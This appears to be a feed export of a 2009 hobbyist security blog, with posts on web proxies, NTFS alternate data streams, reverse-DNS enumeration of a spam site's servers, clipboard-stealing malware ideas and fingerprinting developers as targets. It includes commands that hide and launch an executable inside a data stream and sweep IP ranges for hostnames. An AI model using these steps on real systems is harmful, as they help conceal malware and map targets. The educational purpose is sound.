Facebook!'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-8557618055607909098</id><published>2009-09-20T23:36:00.001-07:00</published><updated>2009-09-21T14:04:39.519-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='anonymization'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>W3 Simple Proxy/Anonymizer with Custom User-Agent</title><content type='html'>A while ago I decided to hit the XHTML Validate link to see what the &lt;a href="http://validator.w3.org/"&gt;W3 XHTML Validator&lt;/a&gt; said was wrong with a web page.  Of course, there were tons of things wrong (I don't know why people ever put the link on their page because they are &lt;i&gt;never&lt;/i&gt; compliant with the w3 standards).  Anyways, I noticed that it gives you the option to view the source code of the page it's supposed to be validating and thought you could use this as a proxy to view html web pages.  Also, the w3 validator gives you the option of specifying the user-agent header that will be sent to the server, which could come in handy.  They also seem to have a mechanism in place to keep you from inserting additional headers into the HTTP Request sent to the server, although the mechanisms for the uri param and the user-agent param are different.&lt;br /&gt;
&lt;br /&gt;
Here's a sample url &lt;a href="http://translate.google.com/translate?hl=en&amp;sl=es&amp;tl=en&amp;u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654"&gt;http://translate.google.com/translate?hl=en&amp;sl=es&amp;tl=en&amp;u=http://validator.w3.org/check%3Furi%3Dhttp://gnarlysec.blogspot.com%26charset%3D(detect%2Bautomatically)%26doctype%3DInline%26ss%3D1%26group%3D0%26user-agent%3DW3C_Validator/1.654&lt;/a&gt;.  The source at the bottom of the page would still need to be parsed out, but that's the basic idea.  Also note the url param "user-agent".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-8557618055607909098?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/8557618055607909098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/anonymization-and-custom-user-agent.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8557618055607909098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8557618055607909098'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/09/anonymization-and-custom-user-agent.html' title='W3 Simple Proxy/Anonymizer with Custom User-Agent'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-8416838963013051389</id><published>2009-08-17T06:01:00.001-07:00</published><updated>2009-09-21T05:53:25.691-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='ie'/><category scheme='http://www.blogger.com/atom/ns#' term='burp'/><category scheme='http://www.blogger.com/atom/ns#' term='chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='proxy'/><title type='text'>Local Proxies with IE and Chrome</title><content type='html'>As I do web development, I often find it easier to setup a local proxy using Paros or Burp to more easily manipulate values being sent to the server.  I usually use Firefox as my main web browser, and consequently almost exclusively setup Firefox to listen to the local proxy.  The other day, I didn't feel like using Firefox, so I used IE instead and told it to use the local proxy I had setup using Burp.  At the time, I also had Google Chrome running.&lt;br/&gt;
&lt;br/&gt;
Everything went well for requests I had made using IE.  Burp captured all requests and responses that were sent.  Then I noticed another request/response that I didn't trigger through IE:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1
Accept: */*
User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: www.download.windowsupdate.com
Proxy-Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache



HTTP/1.1 200 OK
Content-Length: 18
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "0e4bf26aecac91:803b"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Age: 9261
Date: Mon, 17 Aug 2009 13:00:35 GMT
Last-Modified: Fri, 01 May 2009 22:42:48 GMT
Connection: keep-alive

1401C9CAAE2685483A&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

I'm not sure yet if it's IE sending this request, or some other program/service that is looking for windows updates.&lt;br/&gt;
&lt;br/&gt;
I &lt;b&gt;did&lt;/b&gt; notice, however, that all requests/responses sent through Google Chrome also get captured by the local proxy I had setup for IE with Burp.  Not only do all Chrome requests get captured, but so do all http requests sent by all Visual Studio Express products (probably Visual Studio as well).  I'm sure there are tons of other requests as well that would be captured by doing this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-8416838963013051389?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/8416838963013051389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/local-proxies-with-ie-and-chrome.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8416838963013051389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/8416838963013051389'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/local-proxies-with-ie-and-chrome.html' title='Local Proxies with IE and Chrome'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-4958076761796991135</id><published>2009-08-15T06:30:00.000-07:00</published><updated>2009-08-15T06:53:49.352-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ntfs'/><category scheme='http://www.blogger.com/atom/ns#' term='alternate data streams'/><category scheme='http://www.blogger.com/atom/ns#' term='presentation'/><title type='text'>Alternate Data Streams</title><content type='html'>In my recent Operating Systems class, I was supposed to give a 15 minute presentation about the windows file system.  Instead of talking only about that, I got permission to talk about alternate data streams.  This is my presentation  (yes, somewhat short and brief, but I think it still gives a good description of why/how alternate data streams work).
&lt;br/&gt;
&lt;div style="margin-left:auto;margin-right:auto;width:425px;text-align:left" id="__ss_1866140"&gt;&lt;a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/nephijohnson/alternate-data-streams" title="Alternate Data Streams"&gt;Alternate Data Streams&lt;/a&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=alternatedatastreams-090815082802-phpapp02&amp;rel=0&amp;stripped_title=alternate-data-streams" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=alternatedatastreams-090815082802-phpapp02&amp;rel=0&amp;stripped_title=alternate-data-streams" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;View more &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a style="text-decoration:underline;" href="http://www.slideshare.net/nephijohnson"&gt;nephijohnson&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;
&lt;br/&gt;
A good part of my presentation was doing live demonstrations of how alternate data streams can be used from the command line.  Here are some examples:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\ads&amp;gt;echo &amp;gt;stream.txt default unnamed data stream

C:\ads&amp;gt;dir
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:37 AM    &amp;lt;DIR&amp;gt;          .
08/15/2009  07:37 AM    &amp;lt;DIR&amp;gt;          ..
08/15/2009  07:37 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,025,347,584 bytes free

C:\ads&amp;gt;more &amp;lt; stream.txt
 default unnamed data stream

C:\ads&amp;gt;echo &amp;gt;stream.txt:ads alternate (named) data stream

C:\ads&amp;gt;dir
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:37 AM    &amp;lt;DIR&amp;gt;          .
08/15/2009  07:37 AM    &amp;lt;DIR&amp;gt;          ..
08/15/2009  07:38 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,025,347,584 bytes free

C:\ads&amp;gt;more &amp;lt; stream.txt:ads
 alternate (named) data stream

C:\ads&amp;gt;type C:\WINDOWS\notepad.exe &amp;gt; stream.txt:other_notepad.exe

C:\ads&amp;gt;start C:\ads\stream.txt:other_notepad.exe

C:\ads&amp;gt;cd ..

C:\&amp;gt;echo &amp;gt;ads:folder_data_stream folders can have named data streams as well

C:\&amp;gt;more &amp;lt;ads:folder_data_stream
 folders can have named data streams as well

C:\&amp;gt;dir ads
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\ads

08/15/2009  07:39 AM    &amp;lt;DIR&amp;gt;          .
08/15/2009  07:39 AM    &amp;lt;DIR&amp;gt;          ..
08/15/2009  07:38 AM                30 stream.txt
               1 File(s)             30 bytes
               2 Dir(s)  17,024,843,776 bytes free

C:\&amp;gt;dir /a:d ad?
 Volume in drive C is BLAH
 Volume Serial Number is 48C7-9ED4

 Directory of C:\

08/15/2009  07:39 AM    &amp;lt;DIR&amp;gt;          ads
               0 File(s)              0 bytes
               1 Dir(s)  17,024,843,776 bytes free

C:\&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-4958076761796991135?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/4958076761796991135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/alternate-data-streams.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/4958076761796991135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/4958076761796991135'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/alternate-data-streams.html' title='Alternate Data Streams'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-6245650269190917061</id><published>2009-08-15T05:28:00.000-07:00</published><updated>2009-08-15T06:46:31.080-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kung fu'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><title type='text'>Reverse DNS Lookups from the Command Line</title><content type='html'>Last week, I was received an email "from a friend" that invited me to create an account on some site in order to view "some pictures" he had sent me.  The last step in the sign-up process included giving the site my gmail login information, which I was not about to do.  At that point, I wondered if my friend was aware that I had been sent a message "from him".  It turned out that he was not aware that the site had sent out an email to me.  He did say, however, that he had gone through the signup process and had given the site his gmail login information.  Following that, the site had sent emails to everyone it could find in his gmail account, telling them all that he had pictures he wanted to show them.&lt;br/&gt;
&lt;br/&gt;
Needless to say, I found this rather disconcerting and wanted to find more information about the site.  One of the things I did was to figure out what other subdomains the site has on its server.&lt;br/&gt;
&lt;br/&gt;
It's easy enough to figure out the main ip address of a website.  From there, finding many subdomains isn't hard.  Most web hosting companies give out ip addresses in a somewhat sequential manner.  Most companies sign up for their main servers all at the same time.  This should mean that their servers' ip addresses are clustered around each other, which makes it easy to enumerate all of them and see if the resolved domain names for the ip addresses belong to the site.  This is how I did this from the command line:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
@del ips.txt 2&gt;nul &amp;cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i &gt;&gt; ips.txt &amp; @echo 216.157.73.%i &gt;&gt; ips.txt" &amp; nslookup 2&gt;nul &lt; ips.txt &gt; results.txt &amp; type results.txt | find /i "wegame"
&lt;/div&gt;
&lt;/div&gt;

Yeah, I know it's a bit much all at once.  This is how it looks made a bit more readable

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;@del ips.txt 2&gt;nul &amp;
cmd /c 
    "for /l %i in (0, 1, 255) do
        @echo 216.157.72.%i &gt;&gt; ips.txt &amp;
        @echo 216.157.73.%i &gt;&gt; ips.txt" &amp;
nslookup 2&gt;nul &lt; ips.txt &gt; results.txt &amp;
type results.txt | find /i "wegame"&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;

So, I start out deleting any old ips.txt laying around, sending any error output to nul ( @del ips.txt 2&gt;nul ).  Then I run a for loop that generates ips in a separate cmd (hence the cmd /c).  The for loop loops from 0 to 255 ( for /l %i in (0, 1, 255) ) and appends each loop value (%i) to the two ip addresses (216.157.72. and 216.157.73.).  I chose to generate ips in this range because the main server's ip address is 216.157.72.224, almost in the middle of both ranges.  After generating the ip addresses, I send the resulting file (ips.txt) to nslookup ( &lt; ips.txt ), send any error output to nul ( 2&gt;nul ), and output the results to a text file ( &gt; results.txt ).  I then type the contents of results.txt, piping the output to a find command that searches for the name "wegame" ( type results.txt | find /I "wegame" ).  The output looks like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;Name:    test3.wegame.com
Name:    test3.wegame.com
Name:    medproc3.wegame.com
Name:    medproc3.wegame.com
Name:    db2.wegame
Name:    db2.wegame
Name:    vip1.wegame.com
Name:    fw.wegame
Name:    medproc1.wegame
Name:    medproc1.wegame
Name:    medproc2.wegame
Name:    medproc2.wegame
Name:    test2.wegame
Name:    test2.wegame
Name:    test1.wegame
Name:    test1.wegame&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

You could also make it more verbose about what it is doing by changing it to look like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
@echo . &amp; @echo ------------------------------ &amp; @echo .      NSLOOKUP SCRIPT &amp; @echo ------------------------------ &amp; @echo . &amp; @echo .     Generating ips into ips.txt &amp; @del ips.txt 2&gt;nul &amp; cmd /c "for /l %i in (0, 1, 255) do @echo 216.157.72.%i &gt;&gt; ips.txt &amp; @echo 216.157.73.%i &gt;&gt; ips.txt" &amp; @echo .     Running nslookup on generated ips &amp; @echo .           (results outputted to results.txt) &amp; nslookup 2&gt;nul &lt; ips.txt &gt; results.txt &amp; @echo .     Searching results for [wegame] &amp; type results.txt | find /i "wegame" &amp; @echo .  DONE!
&lt;/div&gt;
&lt;/div&gt;

The new output will look like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;.
------------------------------
.      NSLOOKUP SCRIPT
------------------------------
.
.     Generating ips into ips.txt
.     Running nslookup on generated ips
.           (results outputted to results.txt)
.     Searching results for [wegame]
Name:    test3.wegame.com
Name:    test3.wegame.com
Name:    medproc3.wegame.com
Name:    medproc3.wegame.com
Name:    db2.wegame
Name:    db2.wegame
Name:    vip1.wegame.com
Name:    fw.wegame
Name:    medproc1.wegame
Name:    medproc1.wegame
Name:    medproc2.wegame
Name:    medproc2.wegame
Name:    test2.wegame
Name:    test2.wegame
Name:    test1.wegame
Name:    test1.wegame
.  DONE!&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-6245650269190917061?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/6245650269190917061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/reverse-dns-lookups-from-command-line.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6245650269190917061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/6245650269190917061'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/reverse-dns-lookups-from-command-line.html' title='Reverse DNS Lookups from the Command Line'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-7158733310898954187</id><published>2009-08-14T22:44:00.000-07:00</published><updated>2009-08-15T06:07:33.568-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='remote desktop'/><category scheme='http://www.blogger.com/atom/ns#' term='clipboard'/><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><title type='text'>Clipboard Attacks</title><content type='html'>I was thinking today while I was using Remote Desktop to monitor one of the servers at work about how the clipboard is such a universally-accessible piece of the Windows operating system.  To the extent of my knowledge, there is no real restriction on a program using or accessing it.  A typical user will use the clipboard many many times a day, often copying important information and pasting it elsewhere.&lt;br/&gt;
&lt;br/&gt;
Would it be feasible for a piece of malware to only monitor the clipboard and store all new text in a file?  If so, the malware would stay relatively low profile and not draw any undue attention to itself.  It would capture anything copied throughout the user's session.  It would also capture anything copied in a remote desktop connection, since all things copied in remote desktop are also available to be pasted in the user's actual desktop (and visa versa).  I am sure there are hundreds of other interesting situations where one could take advantage of the universality of the clipboard.&lt;br/&gt;
&lt;br/&gt;
One interesting example of clipboard usage, although not related to capturing copied information, is related to &lt;a href="http://ha.ckers.org/blog/20090810/de-cloaking-in-ie70-via-windows-variables/"&gt;RSnake's post&lt;/a&gt; about De-cloaking in IE7.0 using windows variables.  All it would take for this to actually work is for a user to be sent an email with a link in it that doesn't go anywhere.  Under the link, some text could say "Link not working?  Copy and paste this into your address bar..."  and boom!  variable expansion and the accessed server has logged whatever expanded windows variables were contained in the copied url.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-7158733310898954187?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/7158733310898954187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/clipboard-attacks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7158733310898954187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7158733310898954187'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/clipboard-attacks.html' title='Clipboard Attacks'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-3202874648007526823</id><published>2009-08-03T13:34:00.000-07:00</published><updated>2009-08-04T04:12:24.897-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kung fu'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><title type='text'>Removing .svn Folders (WINDOWS)</title><content type='html'>Sometimes I have to copy a folder for a school or work project that I manage with SVN.  Usually I don't want to keep the original .svn folders. Instead of tediously going through each directory and deleting each .svn folder, I use something like this to delete all .svn folders in the current directory and subdirectories:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @rmdir /s /q "%f"
&lt;/div&gt;
&lt;/div&gt;

You could make it be a little more verbose with it's output by using something like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
@echo . &amp; @echo Removing Directories: &amp; @echo . &amp; for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do @echo -- %f &amp; @rmdir /s /q "%f"
&lt;/div&gt;
&lt;/div&gt;

In a more readable format, the command looks like:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;
@echo .
@echo Removing Directories:
@echo .

for /f "delims=^" %f in ('dir /s /b /a:D ^| findstr ".*\.svn$"') do
    @echo -- %f
    @rmdir /s /q "%f"
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

After sprinkling some new .svn folders throughout my hard drive, this is the resulting output:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;.
Removing Directories:
.
-- C:\.svn
-- C:\Documents and Settings\.svn
-- C:\Documents and Settings\All Users\.svn
-- C:\Documents and Settings\All Users\Desktop\.svn
-- C:\Drivers\.svn
-- C:\Program Files\.svn
-- C:\Program Files\Adobe\.svn
-- C:\Program Files\Adobe\Reader 9.0\.svn
-- C:\WINDOWS\.svn

C:\&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;

Hope that helps :)  Variations on this command have saved me a lot of time.  If you need a better explanation of what everything does, let me know.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-3202874648007526823?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/3202874648007526823/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/removing-svn-folders-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/3202874648007526823'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/3202874648007526823'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/08/removing-svn-folders-windows.html' title='Removing .svn Folders (WINDOWS)'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1193101604348262501</id><published>2009-06-29T03:44:00.000-07:00</published><updated>2009-06-29T03:49:41.348-07:00</updated><title type='text'>live.sysinternals.com/tools</title><content type='html'>Mark Russinovich's sysinternals tools come in very handy.  A recent post over at &lt;a href="http://sunbeltblog.blogspot.com/2009/06/more-on-livesysinternalscom.html"&gt;the sunbelt blog&lt;/a&gt; shows that all of the sysinternals tools are &lt;i&gt;easily&lt;/i&gt; accessible from the command line and even windows explorer.  Below is an example of me testing this out:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
&lt;pre&gt;C:\&gt;\\live.sysinternals.com\tools\pslist.exe

pslist v1.28 - Sysinternals PsList
Copyright ⌐ 2000-2004 Mark Russinovich
Sysinternals

Process information for CONDORMAN:

Name                Pid Pri Thd  Hnd   Priv        CPU Time    Elapsed Time
Idle                  0   0   2    0      0     0:31:10.187     0:00:00.000
System                4   8  66  840      0     0:00:21.000     0:00:00.000
smss                644  11   3   21    172     0:00:00.015     0:19:50.041
csrss               872  13  12  824   6788     0:00:54.265     0:19:47.322
winlogon            896  13  18  523   6576     0:00:01.734     0:19:47.057
services            940   9  16  345   1812     0:00:07.484     0:19:46.291
lsass               952   9  22  466   4364     0:00:02.656     0:19:46.260
svchost            1112   8  18  226   2772     0:00:00.171     0:19:45.135&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1193101604348262501?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1193101604348262501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/livesysinternalscomtools.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1193101604348262501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1193101604348262501'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/livesysinternalscomtools.html' title='live.sysinternals.com/tools'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-7897716684269304254</id><published>2009-06-02T02:50:00.000-07:00</published><updated>2009-08-15T06:07:58.378-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fingerprinting'/><category scheme='http://www.blogger.com/atom/ns#' term='attack'/><category scheme='http://www.blogger.com/atom/ns#' term='flash'/><title type='text'>Client Fingerprinting</title><content type='html'>&lt;div class="note"&gt;
At my current job, I do a lot of programming with Flash (Flex, actually), as well as asp.net and similar
platforms.  I am constantly working on
and debugging the web-apps I manage and develop.  I have a debug flash player installed on most of the
browsers I surf the web with, as well as numerous browser add-ons/extensions that help with development.  I've been
wondering lately if I should be more careful about the signature my browser creates.
&lt;/div&gt;
&lt;br/&gt;
A few weeks ago, I had a rather disconcerting thought that attackers might specifically target web
developers for client side attacks.  Who else would be a better target?  Of all employees in a company,
developers are probably given the most rights/permissions when they actually don't need them to get the
job done.  Also, developers require access to databases and test and production systems and are given
more leeway than most.&lt;br/&gt;
&lt;br/&gt;
One might ask: "Why would a developer as a potential target be preferred over someone else, such as a
network admin, who also has access to critical systems?"
&lt;ul&gt;
&lt;li&gt;First, typical web developers are easily
distinguished from normal traffic on a web site through information that is available from the browser,
whereas system admins usually don't carry such an obvious signature when surfing the web.
&lt;/li&gt;
&lt;li&gt;Second, occasional erratic computer/browser behavior is something developers are accustomed to and is something
those who work with the developers could easily explain away and dismiss.
&lt;/li&gt;
&lt;li&gt;Third, many web developers are
not focused as much as they should be on the security of their apps, let alone their own personal security when they develop web applications.
&lt;/li&gt;
&lt;li&gt;Fourth, sites commonly visited by web-developers are easily identified.  Sites (forums especially) that contain walkthroughs and
tutorials for certain technologies and practices would most certainly be visited frequently by developers.
&lt;/li&gt;
&lt;/ul&gt;
By targetting web developers,
attackers would be able to focus their efforts on clients who have a greater potential for a good
pay-off.&lt;br/&gt;
&lt;br/&gt;
There are several applications that need special "debug" versions of a program to be installed in order
for the developer to debug his applications. The foremost
in my mind is the Flash Debug player.  The Flash Debug player is very easily detected.  It obviously
has more functionality than the normal player, possibly additional functionality that has not been tested
as well as the normal Flash Player's basic functionalities.  The Flash Debug Player allows a debugger to
connect to the loaded swf and step through the execution line by line.  What were to happen if a malicious
swf with additional debug information were loaded into a debugger?  Although not very likely, it is something
to think about, especially when several apps found online automatically display the "Connect to Remote Debugger" dialog
when a Flash Debug player is installed.  Also, since a debug flash player is so easily detected, it would
be yet another easily obtained signature that would flag a user as being a developer.&lt;br/&gt;
&lt;br/&gt;
Here are some common and basic "signatures" that I have come up with that should flag a user as being a web developer:
&lt;ul&gt;
 &lt;li&gt;Firebug Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Debug Flash Player&lt;/li&gt;
